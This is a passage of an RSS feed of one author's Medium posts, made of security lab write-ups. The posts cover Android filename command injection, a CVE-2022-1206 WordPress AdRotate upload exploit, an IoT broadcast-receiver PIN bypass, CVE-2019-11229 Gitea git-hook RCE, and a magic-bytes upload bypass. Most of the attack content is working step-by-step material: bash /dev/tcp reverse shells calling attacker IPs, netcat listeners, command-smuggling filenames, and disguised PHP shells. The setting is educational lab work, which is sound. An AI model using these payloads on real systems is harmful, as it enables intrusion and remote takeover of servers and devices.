ScanService.</p><pre>onCreate() {<br>    setupPermissionLauncher();<br>    handlePermissions();<br>}<br><br>private final void handlePermissions() {<br>    if (Environment.isExternalStorageManager()) {<br>        setupSwitch();<br>        return;<br>    }<br><br>    Intent intent = new Intent(<br>        &quot;android.settings.MANAGE_ALL_FILES_ACCESS_PERMISSION&quot;<br>    );<br>    requestPermissionLauncher.launch(intent);<br>}</pre><p>This explained the first behavior seen on the device: launching Cyclic Scanner immediately opened Android’s All files access settings instead of showing the scanner UI. After granting the permission and returning to the app, setupSwitch() becomes available.</p><pre>if (isChecked) {<br>    Toast.makeText(<br>        this$0,<br>        &quot;Scan service started, your device will be scanned regularly.&quot;,<br>        0<br>    ).show();<br><br>    this$0.startForegroundService(<br>        new Intent(this$0, ScanService.class)<br>    );<br>}</pre><p>There was no interesting use of getIntent().getData(), getStringExtra(), or other attacker-controlled intent data in MainActivity. At this point the activity looked like a permission and service-starting gateway rather than the vulnerable component.</p><h3>ScanService — Filesystem as an Input Channel</h3><p>ScanService is where the filesystem becomes part of the attack surface. The service starts a worker thread and repeatedly walks the external-storage root.</p><pre>private static final long SCAN_INTERVAL = 6000;<br><br>File externalStorageDirectory =<br>    Environment.getExternalStorageDirectory();<br><br>Sequence files = FilesKt.walk$default(<br>    externalStorageDirectory, null, 1, null<br>);<br><br>for (Object element : files) {<br>    File file = (File) element;<br>    if (file.canRead() &amp;&amp; file.isFile()) {<br>        System.out.print(file.getAbsolutePath() + &quot;...&quot;);<br>        boolean safe = ScanEngine.INSTANCE.scanFile(file);<br>        System.out.println(safe ? &quot;SAFE&quot; : &quot;INFECTED&quot;);<br>    }<br>}</pre><p>The key observation is that the service recursively processes files under shared storage and passes each File object directly into ScanEngine.scanFile(). This is the source side of the data flow. An attacker does not need to start the service directly if they can influence a filename that the legitimate scanner will discover on its own.</p><pre>Shared storage<br>    -&gt; recursive File.walk()<br>    -&gt; readable regular file<br>    -&gt; ScanEngine.scanFile(file)</pre><p>The service then schedules itself again after the scan completes. The six-second value is a delay between scan cycles; a large filesystem or a very large file can make the effective interval much longer because each file is hashed before the next cycle is scheduled.</p><h3>ScanEngine — Root Cause of the Vulnerability</h3><p>The actual vulnerability appears in ScanEngine. The method is intended to run toybox sha1sum over every file and compare the result with a small set of known malware hashes.</p><pre>public final boolean scanFile(File file) {<br>    String command =<br>        &quot;toybox sha1sum &quot; + file.getAbsolutePath();<br><br>    Process process = new ProcessBuilder(new String[0])<br>        .command(&quot;sh&quot;, &quot;-c&quot;, command)<br>        .directory(Environment.getExternalStorageDirectory())<br>        .redirectErrorStream(true)<br>        .start();<br><br>    ...<br>}</pre><p>The first line mixes untrusted pathname data into a command string. The second line then asks a shell to parse that entire string. That combination is what turns a filename into executable syntax.</p><blockquote><strong>Root cause: </strong>Untrusted file paths are concatenated into a shell command and executed with sh -c without quoting, escaping, or argument separation.</blockquote><p>If a normal file is named report.txt, the command is harmless:</p><pre>toybox sha1sum /storage/emulated/0/report.txt</pre><p>If the filename contains a shell separator, the meaning changes. For example, the filename x;touch cyclic_poc produces approximately:</p><pre>toybox sha1sum /storage/emulated/0/x;touch cyclic_poc</pre><p>The shell reads that as two commands:</p><pre>toybox sha1sum /storage/emulated/0/x<br>touch cyclic_poc</pre><p>This is classic OS command injection. The important Android-specific twist is that the malicious data arrives through a filename in shared storage rather than through an exported Activity or Service extra.</p><h3>Building the Proof of Concept</h3><p>For the first proof I deliberately used a harmless marker file. The goal was to show that the scanner executed a second command, without modifying application data or doing anything destructive.</p><p>I connected to the rooted device and navigated to shared storage:</p><pre>adb shell<br>su<br>cd /sdcard</pre><p>Before creating the payload, I confirmed that the marker did not exist:</p><pre>ls -l /sdcard/cyclic_poc</pre><p>The result was No such file or directory. I then created a file whose filename itself contained a shell command:</p><pre>touch &#39;x;touch cyclic_poc&#39;</pre><p>The single quotes matter only while creating the filename. They prevent the interactive shell from treating the semicolon as syntax. The actual filename stored on disk is x;touch cyclic_poc.</p><p>Listing the directory showed the file as x;touch\ cyclic_poc. The backslash is just display escaping for the space; it is not part of the filename.</p><h3>Dynamic Validation</h3><p>After creating the crafted filename, I started the scanner from the Cyclic Scanner app. The service eventually reached the file and executed the vulnerable command. I then checked the marker path again:</p><pre>ls -l /sdcard/cyclic_poc</pre><p>This time the marker existed. That is the important proof: I manually created only the specially named input file, not cyclic_poc. The marker was created as a consequence of the vulnerable application interpreting the filename through sh -c.</p><pre>crafted filename<br>    -&gt; x;touch cyclic_poc<br>    -&gt; scanner discovers file<br>    -&gt; &quot;toybox sha1sum &quot; + absolutePath<br>    -&gt; sh -c<br>    -&gt; semicolon terminates sha1sum command<br>    -&gt; touch cyclic_poc executes<br>    -&gt; /sdcard/cyclic_poc appears</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*58752zUQDpZcAT2oU-2-sg.png" /><figcaption><em>Successful marker-file PoC. cyclic_poc did not exist before the scan and existed afterward.</em></figcaption></figure><p><strong>What this proves: </strong>A filename controlled through shared storage can cause the application to execute additional shell commands in the Cyclic Scanner process context.</p><h3>/sdcard vs /storage/emulated/0</h3><p>During testing I used /sdcard, while the application logs and Java APIs referred to /storage/emulated/0. On the test device these are two views of the same primary emulated shared-storage area.</p><pre>/sdcard/proof.txt<br> ~=<br> /storage/emulated/0/proof.txt</pre><p>The exact Android implementation can involve FUSE, bind mounts, or storage virtualization rather than a simple symbolic link, so it is better to think of these as equivalent access paths for the same user-visible storage rather than assuming a traditional symlink on every device.</p><p>There is also a second reason our relative output file lands there: ScanEngine explicitly sets the child process working directory to Environment.getExternalStorageDirectory(). Therefore touch cyclic_poc or id &gt; proof.txt writes into the external-storage root.</p><pre>.directory(Environment.getExternalStorageDirectory())</pre><h3>Security Impact</h3><p>Successful exploitation gives arbitrary shell command execution with the privileges available to the Cyclic Scanner application. This is especially relevant because the app intentionally requests MANAGE_EXTERNAL_STORAGE, so the compromised execution context has broad access to shared storage.</p><p>· Read or modify shared-storage files that the application can access.</p><p>· Run shell utilities available to the application process.</p><p>· Use the application’s granted Android permissions where those permissions are reachable through normal process behavior.</p><p>· Potentially chain the primitive with other application or platform weaknesses.</p><p>The finding does not automatically mean root access. Android application sandboxing, SELinux, runtime permissions, and device configuration still apply. The demonstrated impact is arbitrary command execution in the vulnerable application context.</p><p>The non-exported ScanService does not block this attack because the attacker-controlled input arrives through shared storage. This is a useful reminder that component export status is only one part of an Android attack-surface review.</p><h3>Recommended Fix</h3><p>The best fix is to remove the shell from the data path. There is no reason to use sh -c merely to calculate a file hash.</p><p>A minimal improvement would be to pass each argument separately:</p><pre>new ProcessBuilder(<br>    &quot;toybox&quot;,<br>    &quot;sha1sum&quot;,<br>    file.getAbsolutePath()<br>).start();</pre><p>With this form, a filename containing semicolons, spaces, redirects, or command substitution remains a single argv element. No shell exists to reinterpret those characters.</p><p>An even better solution is to avoid spawning an external process entirely and calculate the SHA-1 digest with Java/Kotlin APIs such as MessageDigest. That removes the shell and process-creation attack surface altogether.</p><p><strong>Preferred remediation: </strong>Hash the file directly with a language/runtime API. If an external process is unavoidable, pass arguments as separate ProcessBuilder elements and do not invoke a shell.</p><h3>Final Attack Chain</h3><pre>MANAGE_EXTERNAL_STORAGE<br>        |<br>        v<br>ScanService walks shared storage<br>        |<br>        v<br>Attacker-controlled filename<br>        |<br>        v<br>file.getAbsolutePath()<br>        |<br>        v<br>&quot;toybox sha1sum &quot; + pathname<br>        |<br>        v<br>ProcessBuilder(&quot;sh&quot;, &quot;-c&quot;, command)<br>        |<br>        v<br>Shell metacharacters are interpreted<br>        |<br>        v<br>OS command injection<br>        |<br>        v<br>Arbitrary command execution as the app UID</pre><p>The main lesson from the lab was that the interesting attack surface was not an exported Android component. It was the filesystem. Once a privileged service automatically consumes names from shared storage and sends them through a command shell, an attacker-controlled filename effectively becomes program input.</p><h3>Lab Commands — Quick Reference (Im using a rooted Android device)</h3><p>These are the commands used for the completed marker-file PoC, followed by the optional stronger id-based verification.</p><pre># Connect and move to shared storage<br>adb shell<br>su<br>cd /sdcard<br><br># Confirm marker does not already exist<br>ls -l /sdcard/cyclic_poc<br><br># Create the crafted filename<br>touch &#39;x;touch cyclic_poc&#39;<br><br># Start Cyclic Scanner from the app and wait for the scan<br><br># Confirm command execution<br>ls -l /sdcard/cyclic_poc<br><br># Clean up<br>rm -f &#39;/sdcard/x;touch cyclic_poc&#39;<br>rm -f /sdcard/cyclic_poc<br><br># Optional stronger PoC<br>rm -f /sdcard/proof.txt<br>touch &#39;y;id &gt; proof.txt&#39;<br># wait for scan<br>cat /sdcard/proof.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zeIuh-5YOeYev1H0SoGJbA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6781e569fe8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2022–1206 PoC WordPress AdRotate Banner Manager plugin]]></title>
            <link>https://medium.com/@marinovharisan/cve-2022-1206-poc-wordpress-adrotate-banner-manager-plugin-a538c9abf985?source=rss-56a4ad48962a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a538c9abf985</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[adrotate]]></category>
            <dc:creator><![CDATA[Marinovharisan]]></dc:creator>
            <pubDate>Tue, 06 Oct 2026 11:30:36 GMT</pubDate>
            <atom:updated>2026-10-06T11:32:09.410Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*wmBLAdJ7GVpaQBFQpwuXJw.png" /></figure><p>The issue is an authenticated arbitrary file upload caused by insufficient filename/extension validation. It affects versions up to and including 5.13.2.</p><p>For the PoC im using loly lab from OffSec Play</p><p>To exploit this issue, you first need authenticated access to the WordPress admin panel:</p><pre>http://target-site/wordpress/wp-admin/</pre><p>In my lab, I used the vulnerable <strong>AdRotate</strong> plugin.</p><p>If you are reproducing this in your own test environment and have permission to install plugins, you can install the affected version and test the behavior there.</p><h3>Prepare a PHP reverse shell</h3><p>You can use any PHP reverse shell. I used the following simple payload:</p><pre>&lt;?php<br>/**<br> * Plugin Name: Reverse Shell Plugin<br> * Description: Simple reverse shell for testing<br> * Version: 1.0<br> */<br>exec(&quot;/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/192.168.45.169/80 0&gt;&amp;1&#39;&quot;);<br>?&gt;</pre><p>Change the above IP to your attacking machine’s IP address and the port to the port on which you will run your listener.</p><p>You can also generate a PHP reverse shell using:</p><p><a href="https://www.revshells.com/">https://www.revshells.com/</a></p><p>Save the file as rev.php (for example)</p><h3>Create the ZIP archive</h3><p>AdRotate accepts ZIP uploads, so package the PHP file:</p><pre>zip rev.zip rev.php</pre><h3>Upload it through AdRotate</h3><p>Inside the WordPress admin panel, navigate to the <strong>AdRotate</strong> media/upload functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jDRlZmmk7CXOTIdjFU0JDw.png" /></figure><p>Select the rev.zip we prepared by clicking the Browse… button then click Upload</p><p>The archive is extracted into the AdRotate banners directory.</p><h3>Start your listener</h3><p>Before triggering the payload:</p><pre>nc -lvnp 80<br>#OR<br>rlwrap nc -lnvp 80 </pre><h3>Trigger the uploaded PHP file</h3><p>Browse to:</p><pre>http://target-site/wordpress/wp-content/banners/rev.php</pre><p>If the server executes PHP files from that directory, the reverse shell connects back to your listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*wl_R-qN5XuzHP4QrQ_dLaw.png" /></figure><h3>Why this works</h3><p>The interesting part is not simply that AdRotate allows ZIP uploads. The security issue arises because content extracted from the archive can result in an executable PHP file being placed inside a <strong>web-accessible directory</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a538c9abf985" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IOT Connect Mobile Hacking Lab walkthrough]]></title>
            <link>https://medium.com/@marinovharisan/iot-connect-mobile-hacking-lab-walkthrough-c9bfc7aaed17?source=rss-56a4ad48962a------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9bfc7aaed17</guid>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[android-security]]></category>
            <dc:creator><![CDATA[Marinovharisan]]></dc:creator>
            <pubDate>Mon, 05 Oct 2026 19:50:14 GMT</pubDate>
            <atom:updated>2026-10-05T19:50:14.278Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*dyoMH-55N-0Tpgw-xOEg0Q.png" /></figure><h3>Summary</h3><p>The goal of this lab was to abuse the broadcast receiver functionality in the IOT Connect Android application and activate the master switch as a guest user. I started from the AndroidManifest.xml, mapped the application components, followed the MASTER_ON action into the application code, reversed the PIN validation routine, and then used ADB to reproduce the vulnerable broadcast flow.</p><p>The final issue turned out to be more interesting than a simple exported receiver. The manifest declared an exported MasterReceiver, but the actual class was missing from the APK and crashed when Android tried to instantiate it. The useful receiver was instead created dynamically inside CommunicationManager.initialize(). Because LoginActivity calls initialize() during onCreate(), the privileged MASTER_ON receiver becomes active before authentication. Sending a registered-only broadcast with the correct integer key therefore bypasses the intended guest restriction and turns on all simulated devices.</p><h3>Lab Objective</h3><p>The lab objective was:</p><p>Exploit a Broadcast Receiver Vulnerability: manipulate the broadcast receiver functionality in the IOT Connect application so that the master switch can be activated in a way that is not available to guest users.</p><h3>Approach and Methodology</h3><p>I worked through the application in the same order I normally use for Android application assessment:</p><p>· Review the Android manifest and identify exported or otherwise interesting application components.</p><p>· Trace custom intent actions such as MASTER_ON into decompiled application code.</p><p>· Identify where input is validated and reverse the validation logic instead of guessing values blindly.</p><p>· Test the suspected IPC path with ADB and use logcat to understand failures.</p><p>· Adjust the exploit based on runtime behavior, then confirm success from application logs.</p><h3>AndroidManifest.xml Analysis</h3><p>The first useful findings came directly from the manifest. The application targets SDK 34, is marked debuggable, and contains several exported components. The most interesting entry was the custom receiver for the MASTER_ON action:</p><pre>&lt;receiver<br>    android:name=&quot;com.mobilehackinglab.iotconnect.MasterReceiver&quot;<br>    android:enabled=&quot;true&quot;<br>    android:exported=&quot;true&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;MASTER_ON&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/receiver&gt;</pre><p>At first glance this looked like the obvious attack surface because android:exported=”true” normally means the component can be invoked from outside the application. I also noted the exported LoginActivity, SignupActivity, and MainActivity, while the internal master-switch and device-management activities were not exported.</p><h3>Initial hypothesis</h3><p>My initial hypothesis was that a guest could send a MASTER_ON broadcast directly and reach privileged functionality. That hypothesis was directionally correct, but the exact receiver path required more analysis because the manifest entry was not the receiver that eventually solved the lab.</p><h3>CommunicationManager Analysis</h3><p>Searching for MASTER_ON led to CommunicationManager. This class contains the actual runtime receiver logic:</p><pre>masterReceiver = new BroadcastReceiver() {<br>    @Override<br>    public void onReceive(Context context2, Intent intent) {<br>        if (Intrinsics.areEqual(intent != null ? intent.getAction() : null, &quot;MASTER_ON&quot;)) {<br>            int key = intent.getIntExtra(&quot;key&quot;, 0);<br>            if (context2 != null) {<br>                if (Checker.INSTANCE.check_key(key)) {<br>                    CommunicationManager.INSTANCE.turnOnAllDevices(context2);<br>                    Toast.makeText(context2, &quot;All devices are turned on&quot;, 1).show();<br>                } else {<br>                    Toast.makeText(context2, &quot;Wrong PIN!!&quot;, 1).show();<br>                }<br>            }<br>        }<br>    }<br>};</pre><p>This immediately established the expected broadcast format: the action must be MASTER_ON and the intent must carry an integer extra named key. If the key passes Checker.check_key(), the application calls turnOnAllDevices().</p><h3>Dynamic receiver registration</h3><pre>context.registerReceiver(<br>    broadcastReceiver,<br>    new IntentFilter(&quot;MASTER_ON&quot;)<br>);</pre><p>This is a dynamically registered receiver. It is not the same thing as the MasterReceiver class named in the manifest. The variable is called masterReceiver, but the actual implementation is an anonymous BroadcastReceiver generated inside CommunicationManager.initialize().</p><h3>Device control behavior</h3><p>The privileged action does not communicate with real Bluetooth or network devices. The lab models IoT state through SharedPreferences. turnOnAllDevices() writes true for the fan, AC, plug, speaker, TV, and bulb state keys:</p><pre>turnOnDevice(context, FansFragment.FAN_STATE_PREFERENCES, FansFragment.FAN_ONE_STATE_KEY, true);<br>turnOnDevice(context, FansFragment.FAN_STATE_PREFERENCES, FansFragment.FAN_TWO_STATE_KEY, true);<br>turnOnDevice(context, ACFragment.AC_PREFERENCES, ACFragment.AC_STATE_KEY, true);<br>turnOnDevice(context, PlugFragment.PLUG_FRAGMENT_PREFERENCES, PlugFragment.PLUG_STATE_KEY, true);<br>turnOnDevice(context, SpeakerFragment.SPEAKER_FRAGMENT_PREFERENCES, SpeakerFragment.SPEAKER_STATE_KEY, true);<br>turnOnDevice(context, TVFragment.TV_FRAGMENT_PREFERENCES, TVFragment.TV_STATE_KEY, true);<br>turnOnDevice(context, BulbsFragment.BULB_FRAGMENT_PREFERENCES, BulbsFragment.BULB_STATE_KEY, true);</pre><p>The lower-level helper simply opens the named preference file, writes a boolean, and applies the change. This confirmed that successfully reaching the broadcast receiver was enough to change all device states.</p><h3>Checker and PIN Reversal</h3><p>The next step was to understand Checker.check_key(). This was the security decision used by the receiver:</p><pre>public final boolean check_key(int key) {<br>    try {<br>        return Intrinsics.areEqual(decrypt(ds, key), &quot;master_on&quot;);<br>    } catch (BadPaddingException e) {<br>        return false;<br>    }<br>}</pre><p>The hard-coded ciphertext was:</p><pre>OSnaALIWUkpOziVAMycaZQ==</pre><p>The decrypt() routine used AES in ECB mode with PKCS5Padding:</p><pre>OSnaALIWUkpOziVAMycaZQ==</pre><p>The candidate integer was converted to decimal text, copied into a 16-byte zero-initialized buffer, and used directly as the AES key. For example, the integer 345 becomes the bytes for “345” followed by thirteen null bytes. The ciphertext is then Base64-decoded and decrypted. A key is accepted only when the resulting UTF-8 string is exactly “master_on”.</p><h3>Reproducing the check offline</h3><p>Because the key derivation was deterministic and the expected plaintext was known, I reproduced the check offline rather than repeatedly sending broadcasts to the app. The following script tested the small numeric key space:</p><pre>from base64 import b64decode<br>from Crypto.Cipher import AES<br>from Crypto.Util.Padding import unpad<br><br>ciphertext = b64decode(&quot;OSnaALIWUkpOziVAMycaZQ==&quot;)<br><br>for i in range(10000):<br>    key = str(i).encode()<br>    key = key + b&quot;\x00&quot; * (16 - len(key))<br><br>    try:<br>        plaintext = unpad(<br>            AES.new(key, AES.MODE_ECB).decrypt(ciphertext),<br>            AES.block_size<br>        )<br>        if plaintext == b&quot;master_on&quot;:<br>            print(&quot;FOUND:&quot;, i)<br>            break<br>    except ValueError:<br>        pass</pre><p>The script returned:</p><pre>FOUND: 345</pre><p>At this point the cryptographic portion of the challenge was solved. The remaining task was getting the broadcast delivered to the correct receiver.</p><h3>Exploitation and Troubleshooting</h3><p>The first broadcast attempts looked reasonable but did not activate the devices:</p><pre>adb shell am broadcast -a MASTER_ON --ei key 345<br>#Then<br>adb shell am broadcast \<br>  -a MASTER_ON \<br>  -n com.mobilehackinglab.iotconnect/.MasterReceiver \<br>  --ei key 345</pre><p>ADB reported “Broadcast completed: result=0”, but that only meant the broadcast command finished; it did not prove that the application logic succeeded.</p><h3>Checking the Android environment</h3><p>The device was running Android 13 / API 33 (P.S. I’m using a rooted android phone):</p><pre>adb shell getprop ro.build.version.release<br> 13<br> <br> adb shell getprop ro.build.version.sdk<br> 33</pre><h3>First runtime failure: background delivery</h3><p>Logcat showed that Android initially refused to deliver the manifest broadcast while the application was in the background:</p><pre>Background execution not allowed: receiving Intent { act=MASTER_ON ... } to com.mobilehackinglab.iotconnect/.MasterReceiver</pre><p>Using — receiver-include-background allowed Android to proceed further, but that exposed a second and more important problem.</p><h3>Manifest receiver is broken</h3><p>When Android actually tried to instantiate the manifest receiver, the application crashed with:</p><pre>Unable to instantiate receiver com.mobilehackinglab.iotconnect.MasterReceiver<br>Caused by: java.lang.ClassNotFoundException:<br>Didn&#39;t find class &quot;com.mobilehackinglab.iotconnect.MasterReceiver&quot;</pre><p>This explained why JADX did not show a standalone MasterReceiver class. The manifest names a receiver that is not present in the DEX files. Therefore, explicitly targeting .MasterReceiver could never be the intended working path.</p><h3>Finding when the real receiver is registered</h3><p>I then used JADX Find Usage on CommunicationManager.initialize(). It is called from three activities:</p><p>· HomeActivity.onCreate()</p><p>· LoginActivity.onCreate()</p><p>· MasterSwitchActivity.onCreate()</p><p>The key discovery was LoginActivity. LoginActivity is the launcher activity, so the application registers the dynamic MASTER_ON receiver as soon as the login screen is created, before the user has authenticated. That is the authorization flaw the challenge is built around.</p><h3>Final Working Exploit</h3><p>The working approach was to start LoginActivity so the runtime receiver exists, then tell Android to deliver the broadcast only to dynamically registered receivers. This avoids the broken manifest component entirely.</p><p>1. Start the login activity:</p><pre>adb shell am start \<br>  -n com.mobilehackinglab.iotconnect/.LoginActivity</pre><p>2. Send the MASTER_ON broadcast with the recovered integer key, restricted to registered receivers:</p><pre>adb shell am broadcast \<br>  --receiver-registered-only \<br>  -a MASTER_ON \<br>  --ei key 345</pre><h3>Success confirmation</h3><p>Logcat confirmed that the anonymous receiver inside CommunicationManager received the intent and executed the privileged action:</p><pre>D TURN ON : Turning all devices on<br>V Toast   : show: caller = com.mobilehackinglab.iotconnect.CommunicationManager$initialize$1.onReceive</pre><p>This is definitive evidence that the correct runtime receiver was reached and turnOnAllDevices() ran successfully.</p><h3>Security Impact</h3><p>In the context of the lab, a guest user can bypass the intended master-switch access control and activate every connected device. The important security lesson is broader: Android components and dynamic receivers are part of the application security boundary. Hiding an action behind a privileged screen is not sufficient if the same action can be triggered through an IPC endpoint before authorization is established.</p><h3>What I Learned from the Lab</h3><p>The most useful part of this lab was the debugging process. The first answer was not simply “send an exported broadcast.” The manifest suggested one path, runtime behavior disproved it, and logcat showed why. Following the code and the platform behavior step by step made the final exploit much clearer.</p><p>· The manifest is a map of attack surface, but it is not proof that a declared class actually exists.</p><p>· A dynamically registered receiver and a manifest receiver are separate things, even if they listen for the same action.</p><p>· “Broadcast completed: result=0” does not mean the target application successfully handled the intent.</p><p>· Find Usage is extremely useful when reversing Android apps because the lifecycle location of registration often determines whether an IPC attack is reachable.</p><p>· When an app uses a custom key check, reverse the validation routine first. A few lines of offline code can be much cleaner than blind trial-and-error.</p><p>· Logcat is often the difference between guessing and understanding what Android actually did.</p><h3>Epilogue</h3><p>Huge respect to <strong>Mobile Hacking Lab</strong> for the work they’re doing for the mobile security community. Their labs make mobile pentesting genuinely hands-on, and they encourage the kind of <strong>struggle, curiosity, and try-harder mindset</strong> that helps the lessons actually stick. You get stuck, dig deeper, learn from the process, and come away understanding not just how something works, but why. It’s a valuable contribution to the community, and it’s great to see this kind of practical learning being made accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-bRixoCwKeL9RkO5_FhKlg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9bfc7aaed17" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Gitea 1.7.5 CVE-2019–11229 get RCE by Git Hooks PoC]]></title>
            <link>https://medium.com/@marinovharisan/gitea-1-7-5-cve-2019-11229-get-rce-by-git-hooks-poc-6b950d310b9a?source=rss-56a4ad48962a------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b950d310b9a</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[gitea]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Marinovharisan]]></dc:creator>
            <pubDate>Wed, 16 Sep 2026 11:51:59 GMT</pubDate>
            <atom:updated>2026-09-16T12:25:25.018Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*1dH8hsQv-FE1fHqLdw6nCg.png" /></figure><p>Gitea version 1.7.5 contains a critical remote code execution vulnerability (CVE-2019–11229) stemming from improper restricted access to server-side Git hooks. By abusing repository management features, an attacker can modify administrative scripts like pre-receive to achieve arbitrary code execution upon receiving a code push.</p><p>Create a git repo or use a privouse one that you have</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bi97Lp6ddI8eftZtCot9wQ.png" /></figure><p>Open the repo and navigate to Settings</p><p>Then from Settings navigate to -&gt; Git Hooks -&gt; pre-receive</p><p>The pre-receive hook is a server-side Git hook that executes before any pushed commits are accepted into the target repository</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W07qxMsdXy5uFW1A6-BISg.png" /></figure><p>And replace the script with the hook with the next block of code only change the The YOUR_IP and YOUR_PORT . Or change the line to whatever command or rev shell you want.</p><pre>#!/bin/bash<br>#<br># An example hook script to make use of push options.<br><br>/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/YOUR_IP/YOUR_PORT 0&gt;&amp;1&#39;<br><br>if test -n &quot;$GIT_PUSH_OPTION_COUNT&quot;<br>then<br> i=0<br> while test &quot;$i&quot; -lt &quot;$GIT_PUSH_OPTION_COUNT&quot;<br> do<br>  eval &quot;value=\$GIT_PUSH_OPTION_$i&quot;<br>  case &quot;$value&quot; in<br>  echoback=*)<br>   echo &quot;echo from the pre-receive-hook: ${value#*=}&quot; &gt;&amp;2<br>   ;;<br>  reject)<br>   exit 1<br>  esac<br>  i=$((i + 1))<br> done<br>fi</pre><p>Then to trigger it:</p><p>Start your nc listner:</p><pre>rlwrap nc -lnvp 21 </pre><p>And</p><pre>#Clone your repo<br>git clone http://192.168.123.67:3000/test/love.git<br>#Open the repo folder<br>cd love<br>#Do some generic change so you can push it to the repo<br>echo test &gt;&gt; test.txt<br>#Add the changes<br>git add .<br>#Set display name of the commmit<br>git config user.name test<br>#Commit your changes<br>git commit -m &quot;test&quot;<br>#And finaly push to trigger the hook and get a shell<br>git push</pre><p>If all works fine the command will hang and you will get a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*TV6CNmGoOS_7nIIWTSrN9Q.png" /></figure><p>And we get a hit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*P3cXeDb9u8RB-0X7LD6t7A.png" /></figure><p>Remember: if your Git server lets random users write arbitrary bash scripts to run on the host, it’s not just a repository anymore — it’s your new, poorly managed cloud provider.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b950d310b9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Magic bytes file upload bypass (php example)]]></title>
            <link>https://medium.com/@marinovharisan/magic-bytes-file-upload-bypass-php-example-02f2596173ff?source=rss-56a4ad48962a------2</link>
            <guid isPermaLink="false">https://medium.com/p/02f2596173ff</guid>
            <category><![CDATA[magic-bytes]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Marinovharisan]]></dc:creator>
            <pubDate>Thu, 02 Jul 2026 13:14:25 GMT</pubDate>
            <atom:updated>2026-07-02T13:27:08.538Z</atom:updated>
            <content:encoded><![CDATA[<p>Here is a quick and easy way to create a php shell with magic byte and bypass file upload filtering/restrictions, without using burp. Just pick your preferred shell I will use PHP cmd from <a href="https://www.revshells.com/">https://www.revshells.com/</a> and I will save it as my.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KDsMcICIM-rEBSFJktqQA.png" /></figure><p>You can see a list of signatures, magic bytes of files here but be careful it starts with 0...x89 - just remove the zero<br> <a href="https://www.netspi.com/blog/technical-blog/web-application-pentesting/magic-bytes-identifying-common-file-formats-at-a-glance/">https://www.netspi.com/blog/technical-blog/web-application-pentesting/magic-bytes-identifying-common-file-formats-at-a-glance/</a></p><p>And now we can concat the beginning of the file type we want with our shell.</p><p>Examples:</p><h3>PNG</h3><pre>printf &quot;\x89\x50\x4E\x47\x0D\x0A\x1A\x0A&quot; &gt; shell.php.png<br>#then concat the php shell<br>cat my.php &gt;&gt; shell.php.png</pre><h3>GIF</h3><pre>printf &quot;GIF89a&quot; &gt; shell.php.gif<br>cat shell.php &gt;&gt; shell.php.gif</pre><h3>JPEN</h3><pre>printf &quot;\xFF\xD8\xFF\xE0&quot; &gt; shell.php.jpg <br>cat shell.php &gt;&gt; shell.php.jpg</pre><p>Then, simply upload the file to bypass the security checks and:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*4PwJmK0rJ0mli_RVoZwPWQ.png" /></figure><p>And here we can execute a reverse shell…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02f2596173ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>